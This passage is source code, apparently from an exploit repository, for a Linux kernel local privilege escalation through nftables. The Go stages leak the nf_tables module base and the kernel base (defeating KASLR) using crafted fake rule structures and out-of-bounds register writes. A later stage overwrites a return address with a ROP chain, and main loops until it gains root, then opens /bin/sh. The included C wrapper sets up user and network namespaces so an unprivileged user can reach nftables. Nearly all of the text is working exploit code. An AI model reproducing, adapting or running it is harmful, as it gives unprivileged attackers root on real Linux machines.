uint32(unix.NFT_DYNSET_OP_ADD), }, &expr.Immediate{ Register: 8, Data: []byte{0x04, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 18, SetName: "leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, &expr.Immediate{ Register: 8, Data: []byte{0x05, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 19, SetName: "leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, }, }) if err := conn.Flush(); err != nil { return err } // base chain alloc policy := nftables.ChainPolicyAccept // Put basechain in kmalloc-192 baseChain := conn.AddChain(&nftables.Chain{ Name: "base-chain", Table: table, Type: nftables.ChainTypeFilter, Hooknum: nftables.ChainHookInput, Priority: nftables.ChainPriorityFilter, Policy: &policy, }) conn.AddRule(&nftables.Rule{ Table: table, Chain: baseChain, Exprs: []expr.Any{ &expr.Immediate{ Register: 8, Data: []byte{0x01, 0x01, 0x01, 0x01}, }, &expr.Meta{ Key: unix.NFT_META_NFTRACE, SourceRegister: true, Register: 8, }, }, }) conn.AddRule(&nftables.Rule{ Table: table, Chain: baseChain, Exprs: []expr.Any{ &expr.Verdict{ Kind: expr.VerdictJump, Chain: "leak-chain", }, &expr.Verdict{ Kind: expr.VerdictReturn, }, }, }) if err := conn.Flush(); err != nil { return fmt.Errorf("Could not create base chain: %v", err) } packet_leak_path() // Recover entries from set elems, err := conn.GetSetElements(&leakSet) if err != nil { return fmt.Errorf("Could not get set elems: %v", err) } offsets := []uint16{0, 0, 0, 0, 0, 0} for _, elem := range elems { key := binary.LittleEndian.Uint32(elem.Key) val := binary.BigEndian.Uint16(elem.Val) offsets[key] = val } // offsets[0] = jumpstack[0].chain u16 lsb high u32 // offsets[1] = jumpstack[0].chain u16 lsb low u32 // offsets[2] = jumpstack[0].rules u16 lsb high u32 // offsets[3] = jumpstack[0].rules u16 lsb low u32 // offsets[4] = jumpstack[0].rules_last u16 lsb high u32 // offsets[5] = jumpstack[0].rules_last u16 lsb low u32 // Free all rules from the leak chain and prepare it for a write conn.FlushChain(leakChain) if err := conn.Flush(); err != nil { return fmt.Errorf("Could not delete leakchain rules: %v", err) } // chain low u16 chainLow := make([]byte, 4) binary.LittleEndian.PutUint16(chainLow, offsets[0]) // chain high u16 chainHigh := make([]byte, 4) binary.LittleEndian.PutUint16(chainHigh, offsets[1]) // rules low u16 ruleLow := make([]byte, 4) binary.LittleEndian.PutUint16(ruleLow, offsets[4]-0x22) // rules high u16 ruleHigh := make([]byte, 4) binary.LittleEndian.PutUint16(ruleHigh, offsets[3]) // rules_last low u16 ruleLastLow := make([]byte, 4) binary.LittleEndian.PutUint16(ruleLastLow, (offsets[4]-0x22)+0x8) // rules_last high u16 ruleLastHigh := make([]byte, 4) binary.LittleEndian.PutUint16(ruleLastHigh, offsets[5]) // Payload to write lsb of rules pointer conn.AddRule(&nftables.Rule{ Table: table, Chain: leakChain, Exprs: []expr.Any{ &expr.Immediate{ Register: 8, Data: chainLow, }, &expr.Immediate{ Register: 9, Data: chainHigh, }, &expr.Immediate{ Register: 10, Data: ruleLow, }, &expr.Immediate{ Register: 11, Data: ruleHigh, }, &expr.Immediate{ Register: 12, Data: ruleLastLow, }, &expr.Immediate{ Register: 13, Data: ruleLastHigh, }, &expr.Byteorder{ SourceRegister: 8, DestRegister: 16, Op: expr.ByteorderHton, Len: 28, Size: 2, }, }, }) if err := conn.Flush(); err != nil { return fmt.Errorf("Could not add oob write rule: %v", err) } // Register our trace handler to recover the leak traceconn, err := netlink.Dial(unix.NETLINK_NETFILTER, &netlink.Config{}) if err != nil { return fmt.Errorf("Could not setup listening socket: %v", err) } defer traceconn.Close() // Add to trace group err = traceconn.JoinGroup(unix.NFNLGRP_NFTRACE) if err != nil { return fmt.Errorf("Could not add socket to trace group: %v", err) } // Trigger our leak packet_leak_path() for { messages, err := traceconn.Receive() if err != nil { return fmt.Errorf("Could not receive trace messages: %v", err) } // Parse the trace messages for _, m := range messages { ad, err := netlink.NewAttributeDecoder(m.Data[4:]) if err != nil { return fmt.Errorf("Could not create attribute decoder: %v", err) } ad.ByteOrder = binary.BigEndian for ad.Next() { if ad.Type() == unix.NFTA_TRACE_RULE_HANDLE { addr := ad.Uint64() >> 3 // Check that the 3 lower nibbles are identical (untouched by kASLR) if (addr & 0xfff) != (currentConfig.immOpsOff & 0xfff) { continue } // Small sanity check that the value > 32 bits if addr < 0x100000000 { continue } moduleBase := addr - currentConfig.immOpsOff moduleBase |= 0xffffff8000000000 // Set the top 25 bits to ff, which should be fine fmt.Printf("LEAK:%x", moduleBase) return nil } } } } return nil } func leak_kaslr_step(conn *nftables.Conn, moduleBase uint64, kernelBase uint64) error { // Main table for important chains table := conn.AddTable(&nftables.Table{ Family: nftables.TableFamilyIPv4, Name: "kaslr", }) // Set recovering the leaked values from the stack leakSet := nftables.Set{ Anonymous: false, Constant: false, Name: "leak-set", ID: 1, IsMap: true, Table: table, KeyType: nftables.TypeInteger, DataType: nftables.TypeInteger, } err := conn.AddSet(&leakSet, nil) if err != nil { return fmt.Errorf("Could no create set: %v", err) } // Set recovering the leaked stack return address kleakSet := nftables.Set{ Anonymous: false, Constant: false, Name: "kaslr-leak-set", ID: 1, IsMap: true, Table: table, KeyType: nftables.TypeInteger, DataType: nftables.TypeInteger, } err = conn.AddSet(&kleakSet, nil) if err != nil { return fmt.Errorf("Could not create kernel leak set: %v", err) } // Chain used for leaking information off the stack leakChain := conn.AddChain(&nftables.Chain{ Name: "leak-chain", Table: table, }) conn.AddRule(&nftables.Rule{ Table: table, Chain: leakChain, Exprs: []expr.Any{ // Copies the lsb of the first jumpstack entry to r14-r19 (NFT_REG32_06 - NFT_REG32_11) &expr.Byteorder{ SourceRegister: 18, DestRegister: 8, Op: expr.ByteorderHton, Len: 24, Size: 2, }, // Add to the set the lsb's &expr.Immediate{ Register: 8, Data: []byte{0x00, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 14, SetName: "leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, &expr.Immediate{ Register: 8, Data: []byte{0x01, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 15, SetName: "leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, &expr.Immediate{ Register: 8, Data: []byte{0x02, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 16, SetName: "leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, &expr.Immediate{ Register: 8, Data: []byte{0x03, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 17, SetName: "leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, &expr.Immediate{ Register: 8, Data: []byte{0x04, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 18, SetName: "leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, &expr.Immediate{ Register: 8, Data: []byte{0x05, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 19, SetName: "leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, }, }) if err := conn.Flush(); err != nil { return err } // base chain alloc policy := nftables.ChainPolicyAccept baseChain := conn.AddChain(&nftables.Chain{ Name: "base-chain", Table: table, Type: nftables.ChainTypeFilter, Hooknum: nftables.ChainHookInput, Priority: nftables.ChainPriorityFilter, Policy: &policy, }) // First rule: jump to leakchain to recover next rule ptr lsb conn.AddRule(&nftables.Rule{ Table: table, Chain: baseChain, Exprs: []expr.Any{ &expr.Verdict{ Kind: expr.VerdictJump, Chain: "leak-chain", }, }, }) // Second rule: craft a fake rule within a nft_range rule w := new(bytes.Buffer) // Craft nft_rule_dp with (dlen=32, is_last=0, handle=0) _ = binary.Write(w, binary.LittleEndian, uint64(32<<1)) // Write fake nft_byteorder // struct nft_byteorder { // u8 sreg; /* 0 1 */ // u8 dreg; /* 1 1 */ // enum nft_byteorder_ops op:8; /* 0:16 4 */ // u8 len; /* 3 1 */ // u8 size; /* 4 1 */ // // /* size: 8, cachelines: 1, members: 5 */ // /* padding: 3 */ // /* last cacheline: 8 bytes */ // }; _ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.byteorderOpsOff)) // set byteorder::sreg as the offset // 4 of the return address on the stack _ = binary.Write(w, binary.LittleEndian, uint8(currentConfig.ipLocalDeliverRegOff/4)) // set byteorder::dreg as the register where we want to recover the value (-4 to remove first 4 dwords of regs, aka verdict) _ = binary.Write(w, binary.LittleEndian, uint8(12)) // set byteorder::op to NFT_BYTEORDER_NTOH (not sure if it matters) _ = binary.Write(w, binary.LittleEndian, uint8(0)) // set byteorder::len to 8 bytes _ = binary.Write(w, binary.LittleEndian, uint8(8)) // set byteorder::size to 8 (u64) _ = binary.Write(w, binary.LittleEndian, uint8(8)) // padding _ = binary.Write(w, binary.LittleEndian, uint8(0)) _ = binary.Write(w, binary.LittleEndian, uint8(0)) _ = binary.Write(w, binary.LittleEndian, uint8(0)) // Write partial nft_meta, which will overlap with the end of the real nft_range _ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.metaSetOpsOff)) payload := w.Bytes() conn.AddRule(&nftables.Rule{ Table: table, Chain: baseChain, Exprs: []expr.Any{ &expr.Range{ Op: expr.CmpOpNeq, Register: 8, // Will overlap with meta->key FromData: payload[:16], ToData: payload[16:], }, }, }) if err := conn.Flush(); err != nil { return fmt.Errorf("Could not create base chain: %v", err) } // Third rule, add our register, which will contain the address to the set conn.AddRule(&nftables.Rule{ Table: table, Chain: baseChain, Exprs: []expr.Any{ &expr.Immediate{ Register: 8, Data: []byte{0x00, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 16, SetName: "kaslr-leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, &expr.Immediate{ Register: 8, Data: []byte{0x01, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 17, SetName: "kaslr-leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, }, }) if err := conn.Flush(); err != nil { return fmt.Errorf("Could not create base chain: %v", err) } packet_leak_path() // Flush the entries in kaslr leak set conn.FlushSet(&kleakSet) if err := conn.Flush(); err != nil { return fmt.Errorf("Could not flush kaslr leak set: %v", err) } // Recover entries from set elems, err := conn.GetSetElements(&leakSet) if err != nil { return fmt.Errorf("Could not get set elems: %v", err) } offsets := []uint16{0, 0, 0, 0, 0, 0} for _, elem := range elems { key := binary.LittleEndian.Uint32(elem.Key) val := binary.BigEndian.Uint16(elem.Val) offsets[key] = val } // offsets[0] = jumpstack[0].chain u16 lsb high u32 // offsets[1] = jumpstack[0].chain u16 lsb low u32 // offsets[2] = jumpstack[0].rules u16 lsb high u32 // offsets[3] = jumpstack[0].rules u16 lsb low u32 // offsets[4] = jumpstack[0].rules_last u16 lsb high u32 // offsets[5] = jumpstack[0].rules_last u16 lsb low u32 // Free all rules from the leak chain and prepare it for a write conn.FlushChain(leakChain) if err := conn.Flush(); err != nil { return fmt.Errorf("Could not delete leakchain rules: %v", err) } // fmt.Println("[+] Flushed leak chain") // for i, e := range offsets { // fmt.Printf("offset[%v] = 0x%x\n", i, e) // } // chain low u16 chainLow := make([]byte, 4) binary.LittleEndian.PutUint16(chainLow, offsets[0]) // chain high u16 chainHigh := make([]byte, 4) binary.LittleEndian.PutUint16(chainHigh, offsets[1]) // rules low u16 // Skip real rule_dp header + nft_range_ops ruleLow := make([]byte, 4) binary.LittleEndian.PutUint16(ruleLow, offsets[2]+16) // rules high u16 ruleHigh := make([]byte, 4) binary.LittleEndian.PutUint16(ruleHigh, offsets[3]) // rules_last low u16 ruleLastLow := make([]byte, 4) binary.LittleEndian.PutUint16(ruleLastLow, offsets[4]) // rules_last high u16 ruleLastHigh := make([]byte, 4) binary.LittleEndian.PutUint16(ruleLastHigh, offsets[5]) // Payload to write lsb of rules pointer conn.AddRule(&nftables.Rule{ Table: table, Chain: leakChain, Exprs: []expr.Any{ &expr.Immediate{ Register: 8, Data: chainLow, }, &expr.Immediate{ Register: 9, Data: chainHigh, }, &expr.Immediate{ Register: 10, Data: ruleLow, }, &expr.Immediate{ Register: 11, Data: ruleHigh, }, &expr.Immediate{ Register: 12, Data: ruleLastLow, }, &expr.Immediate{ Register: 13, Data: ruleLastHigh, }, &expr.Byteorder{ SourceRegister: 8, DestRegister: 16, Op: expr.ByteorderHton, Len: 28, Size: 2, }, }, }) if err := conn.Flush(); err != nil { return fmt.Errorf("Could not add oob write rule: %v", err) } // Trigger our leak packet_leak_path() // Recover leaked return address from set elems, err = conn.GetSetElements(&kleakSet) if err != nil { return fmt.Errorf("Could not get set elems: %v", err) } offsets2 := []uint32{0, 0} for _, elem := range elems { key := binary.LittleEndian.Uint32(elem.Key) val := binary.BigEndian.Uint32(elem.Val) offsets2[key] = val } leakedPtr := uint64(offsets2[0])<<32 | uint64(offsets2[1]) if (leakedPtr & 0xfff) != (currentConfig.ipLocalDeliverReturn & 0xfff) { return fmt.Errorf("Invalid pointer: %x", leakedPtr) } fmt.Printf("LEAK:%x\n", leakedPtr-currentConfig.ipLocalDeliverReturn) return nil } func ropchain_step(conn *nftables.Conn, moduleBase uint64, kernelBase uint64) error { // Rop chain for our post exploit ropchain := craft_rop_chain(kernelBase) // Main table for important chains table := conn.AddTable(&nftables.Table{ Family: nftables.TableFamilyIPv4, Name: "rop", }) // Set recovering the leaked values from the stack leakSet := nftables.Set{ Anonymous: false, Constant: false, Name: "leak-set", ID: 1, IsMap: true, Table: table, KeyType: nftables.TypeInteger, DataType: nftables.TypeInteger, } err := conn.AddSet(&leakSet, nil) if err != nil { return fmt.Errorf("Could no create set: %v", err) } // Chain used for leaking information off the stack leakChain := conn.AddChain(&nftables.Chain{ Name: "leak-chain", Table: table, }) conn.AddRule(&nftables.Rule{ Table: table, Chain: leakChain, Exprs: []expr.Any{ // Copies the lsb of the first jumpstack entry to r14-r19 (NFT_REG32_06 - NFT_REG32_11) &expr.Byteorder{ SourceRegister: 18, DestRegister: 8, Op: expr.ByteorderHton, Len: 24, Size: 2, }, // Add to the set the lsb's &expr.Immediate{ Register: 8, Data: []byte{0x00, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 14, SetName: "leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, &expr.Immediate{ Register: 8, Data: []byte{0x01, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 15, SetName: "leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, &expr.Immediate{ Register: 8, Data: []byte{0x02, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 16, SetName: "leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, &expr.Immediate{ Register: 8, Data: []byte{0x03, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 17, SetName: "leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, &expr.Immediate{ Register: 8, Data: []byte{0x04, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 18, SetName: "leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, &expr.Immediate{ Register: 8, Data: []byte{0x05, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 19, SetName: "leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, }, }) if err := conn.Flush(); err != nil { return err } // base chain alloc policy := nftables.ChainPolicyAccept baseChain := conn.AddChain(&nftables.Chain{ Name: "base-chain", Table: table, Type: nftables.ChainTypeFilter, Hooknum: nftables.ChainHookInput, Priority: nftables.ChainPriorityFilter, Policy: &policy, }) // First rule: jump to leakchain to recover next rule ptr lsb conn.AddRule(&nftables.Rule{ Table: table, Chain: baseChain, Exprs: []expr.Any{ &expr.Verdict{ Kind: expr.VerdictJump, Chain: "leak-chain", }, }, }) // Second rule: craft a fake rule within a nft_range rule w := new(bytes.Buffer) // Craft nft_rule_dp with (dlen=32, is_last=0, handle=0) _ = binary.Write(w, binary.LittleEndian, uint64(32<<1)) // Write fake nft_payload // struct nft_payload { // enum nft_payload_bases base:8; /* 0: 0 4 */ // u8 offset; /* 1 1 */ // u8 len; /* 2 1 */ // u8 dreg; /* 3 1 */ // /* size: 4, cachelines: 1, members: 4 */ // /* last cacheline: 4 bytes */ // }; _ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.payloadOpsOff)) // set payload::base as NFT_PAYLOAD_TRANSPORT_HEADER _ = binary.Write(w, binary.LittleEndian, uint8(2)) // set payload::offset to 8 (skip UDP header) _ = binary.Write(w, binary.LittleEndian, uint8(8)) // set payload::len to the length of our ropchain (aka, bytes to copy) _ = binary.Write(w, binary.LittleEndian, uint8(len(ropchain))) // set payload::dreg to point to the return address, beyond the stack canary _ = binary.Write(w, binary.LittleEndian, uint8(currentConfig.ipLocalDeliverRegOff/4)) // padding _ = binary.Write(w, binary.LittleEndian, uint8(0)) _ = binary.Write(w, binary.LittleEndian, uint8(0)) _ = binary.Write(w, binary.LittleEndian, uint8(0)) _ = binary.Write(w, binary.LittleEndian, uint8(0)) // Write partial nft_meta, which will overlap with the end of the real nft_range _ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.metaSetOpsOff)) payload := w.Bytes() conn.AddRule(&nftables.Rule{ Table: table, Chain: baseChain, Exprs: []expr.Any{ &expr.Range{ Op: expr.CmpOpNeq, Register: 8, // Will overlap with meta->key FromData: payload[:16], ToData: payload[16:], }, }, }) if err := conn.Flush(); err != nil { return fmt.Errorf("Could not create base chain: %v", err) } // Third rule, juste some placeholder conn.AddRule(&nftables.Rule{ Table: table, Chain: baseChain, Exprs: []expr.Any{ &expr.Verdict{ Kind: expr.VerdictReturn, }, }, }) if err := conn.Flush(); err != nil { return fmt.Errorf("Could not create base chain: %v", err) } packet_leak_path() if err := conn.Flush(); err != nil { return fmt.Errorf("Could not flush kaslr leak set: %v", err) } // Recover entries from set elems, err := conn.GetSetElements(&leakSet) if err != nil { return fmt.Errorf("Could not get set elems: %v", err) } offsets := []uint16{0, 0, 0, 0, 0, 0} for _, elem := range elems { key := binary.LittleEndian.Uint32(elem.Key) val := binary.BigEndian.Uint16(elem.Val) offsets[key] = val } // offsets[0] = jumpstack[0].chain u16 lsb high u32 // offsets[1] = jumpstack[0].chain u16 lsb low u32 // offsets[2] = jumpstack[0].rules u16 lsb high u32 // offsets[3] = jumpstack[0].rules u16 lsb low u32 // offsets[4] = jumpstack[0].rules_last u16 lsb high u32 // offsets[5] = jumpstack[0].rules_last u16 lsb low u32 // Free all rules from the leak chain and prepare it for a write conn.FlushChain(leakChain) if err := conn.Flush(); err != nil { return fmt.Errorf("Could not delete leakchain rules: %v", err) } // chain low u16 chainLow := make([]byte, 4) binary.LittleEndian.PutUint16(chainLow, offsets[0]) // chain high u16 chainHigh := make([]byte, 4) binary.LittleEndian.PutUint16(chainHigh, offsets[1]) // rules low u16 // Skip real rule_dp header + nft_range_ops ruleLow := make([]byte, 4) binary.LittleEndian.PutUint16(ruleLow, offsets[2]+16) // rules high u16 ruleHigh := make([]byte, 4) binary.LittleEndian.PutUint16(ruleHigh, offsets[3]) // rules_last low u16 ruleLastLow := make([]byte, 4) binary.LittleEndian.PutUint16(ruleLastLow, offsets[4]) // rules_last high u16 ruleLastHigh := make([]byte, 4) binary.LittleEndian.PutUint16(ruleLastHigh, offsets[5]) // Payload to write lsb of rules pointer conn.AddRule(&nftables.Rule{ Table: table, Chain: leakChain, Exprs: []expr.Any{ &expr.Immediate{ Register: 8, Data: chainLow, }, &expr.Immediate{ Register: 9, Data: chainHigh, }, &expr.Immediate{ Register: 10, Data: ruleLow, }, &expr.Immediate{ Register: 11, Data: ruleHigh, }, &expr.Immediate{ Register: 12, Data: ruleLastLow, }, &expr.Immediate{ Register: 13, Data: ruleLastHigh, }, &expr.Byteorder{ SourceRegister: 8, DestRegister: 16, Op: expr.ByteorderHton, Len: 28, Size: 2, }, }, }) if err := conn.Flush(); err != nil { return fmt.Errorf("Could not add oob write rule: %v", err) } // Write our ropchain to the network packet and trigger our nft instructions packet_ropchain_path(ropchain) return nil } type ExploitStepFn func(*nftables.Conn, uint64, uint64) error func nftables_wrapper(handle netns.NsHandle, step ExploitStepFn, moduleBase uint64, kernelBase uint64) error { // Open netlink connection conn, err := nftables.New(nftables.WithNetNSFd(int(handle))) _ = conn if err != nil { return err } conn.FlushRuleset() defer conn.FlushRuleset() err = step(conn, moduleBase, kernelBase) if err != nil { return err } return nil } func main() { // Get cpu count, will be useful for sprays rand.Seed(time.Now().UnixNano()) var origAffinity unix.CPUSet origAffinity.Zero() err := unix.SchedGetaffinity(0, &origAffinity) if err != nil { panic(err) } cpuCount = origAffinity.Count() // Lock go routine to specific thread runtime.LockOSThread() defer runtime.UnlockOSThread() // Bind to a single cpu to reach same kmalloc slabs var cpuSet unix.CPUSet cpuSet.Zero() cpuSet.Set(0) err = unix.SchedSetaffinity(0, &cpuSet) if err != nil { panic(err) } if len(os.Args) >= 3 { mode := os.Args[1] if os.Args[1] != "module_leak" && os.Args[1] != "kernel_leak" && os.Args[1] != "kernel_rop" { fmt.Printf("Invalid binary mode: '%v'\n", os.Args[1]) } moduleBase, err := strconv.ParseUint(os.Args[2], 16, 64) if err != nil { panic(err) } // Setup the environ ns, err := netns.New() if err != nil { panic(err) } defer ns.Close() // Create new net interface err = exec.Command("ip", "addr", "add", "127.0.0.1/8", "dev", "lo").Run() if err != nil { fmt.Printf("Could not give interface ip") return } err = exec.Command("ip", "link", "set", "lo", "up").Run() if err != nil { fmt.Printf("Could not up interface") return } if mode == "module_leak" { err = nftables_wrapper(ns, leak_module_step, 0, 0) } else if mode == "kernel_leak" { err = nftables_wrapper(ns, leak_kaslr_step, moduleBase, 0) } else { if len(os.Args) != 4 { fmt.Println("[!] Missing kernel address parameter") return } kernelBase, err := strconv.ParseUint(os.Args[3], 16, 64) if err != nil { panic(err) } err = nftables_wrapper(ns, ropchain_step, moduleBase, kernelBase) } if err != nil { fmt.Printf("Error: %v\n", err) } } else if len(os.Args) == 1 { // No arguments, launch the full exploit process // First resolve the binary and find the wrapper in the same folder binPath, err := os.Readlink("/proc/self/exe") if err != nil { fmt.Printf("[!] Could not resolve binary path: %v\n", err) return } binFolder := path.Dir(binPath) wrapperPath := path.Join(binFolder, "wrapper") if unix.Getuid() == 0 { fmt.Println("[+] WARNING: Exploit already running as root. For debugging") } fmt.Println("[+] Recovering module base") var moduleBase uint64 = 0x0 for i := 0; i < 15; i++ { moduleLeak := exec.Command(wrapperPath, binPath, "module_leak", "0") stdout, err := moduleLeak.Output() if err != nil { fmt.Printf("[E] Module leak failed: %v\n", err) return } lines := strings.Split(string(stdout), "\n") for _, line := range lines { if strings.HasPrefix(line, "LEAK") { addrStr := strings.Split(line, ":")[1] moduleBase, err = strconv.ParseUint(addrStr, 16, 64) if err != nil { // Should never happen panic(err) } break } } if moduleBase != 0 { break } fmt.Printf("Failed attempt #%v, retrying ...\n", i) } if moduleBase == 0 { fmt.Println("[E] Could not find module base, crashing the kernel :(") } else { fmt.Printf("[+] Module base: 0x%x\n", moduleBase) fmt.Println("[+] Recovering kernel base") } var kernelBase uint64 = 0 for i := 0; i < 10; i++ { kernelLeak := exec.Command(wrapperPath, binPath, "kernel_leak", strconv.FormatUint(moduleBase, 16)) stdout, err := kernelLeak.Output() if err != nil { fmt.Printf("[E] Kernel leak failed: %v\n", err) return } lines := strings.Split(string(stdout), "\n") for _, line := range lines { if strings.HasPrefix(line, "LEAK") { addrStr := strings.Split(line, ":")[1] kernelBase, err = strconv.ParseUint(addrStr, 16, 64) if err != nil { // Should never happen panic(err) } break } } if kernelBase != 0 { break } fmt.Printf("Failed attempt #%v, retrying ...\n", i) } fmt.Printf("[+] Kernel base: 0x%x\n", kernelBase) for { kernelLeak := exec.Command(wrapperPath, binPath, "kernel_rop", strconv.FormatUint(moduleBase, 16), strconv.FormatUint(kernelBase, 16)) err := kernelLeak.Start() if err != nil { panic(err) } for { // Wait one second so we don't race with the overwriting of the // syscall handler time.Sleep(1 * time.Second) syscall.RawSyscall(unix.SYS_MODIFY_LDT, 0, 0, 0) if unix.Getuid() == 0 { fmt.Println("[+] Got root !!!") unix.Exec("/bin/sh", []string{"/bin/sh"}, os.Environ()) } } } } else { fmt.Println("Invalid arguments") } } ================================================ FILE: src/wrapper.c ================================================ #include #include #include #include #include #include #include #include #include static void setup_namespaces(void) { int fd; char buffer[128]; int buffer_size; int ret; uid_t uid; ssize_t nb_write; uid = getuid(); ret = unshare(CLONE_NEWUSER | CLONE_NEWNET); if (ret < 0) { err(1, "Failed to unshare"); } buffer_size = snprintf(buffer, sizeof(buffer), "0 %u 1", uid); if (buffer_size < 0) { errx(1, "Failed to snprintf"); } fd = openat(AT_FDCWD, "/proc/self/uid_map", O_WRONLY); if (fd < 0) { err(1, "Failed to open"); } nb_write = write(fd, buffer, buffer_size); if (nb_write != buffer_size) { err(1, "Failed to write"); } close(fd); fd = openat(AT_FDCWD, "/proc/self/setgroups", O_WRONLY); if (fd < 0) { err(1, "Failed to open"); } nb_write = write(fd, "deny", strlen("deny")); if (nb_write != strlen("deny")) { err(1, "Failed to write"); } close(fd); fd = openat(AT_FDCWD, "/proc/self/gid_map", O_WRONLY); if (fd < 0) { err(1, "Failed to open"); } nb_write = write(fd, buffer, buffer_size); if (nb_write != buffer_size) { err(1, "Failed to write"); } close(fd); } int main(int argc, char *argv[], char *envp[]) { (void)argc; setup_namespaces(); execve(argv[1], &argv[1], envp); err(1, "Failed to exec stage payload"); return 0; }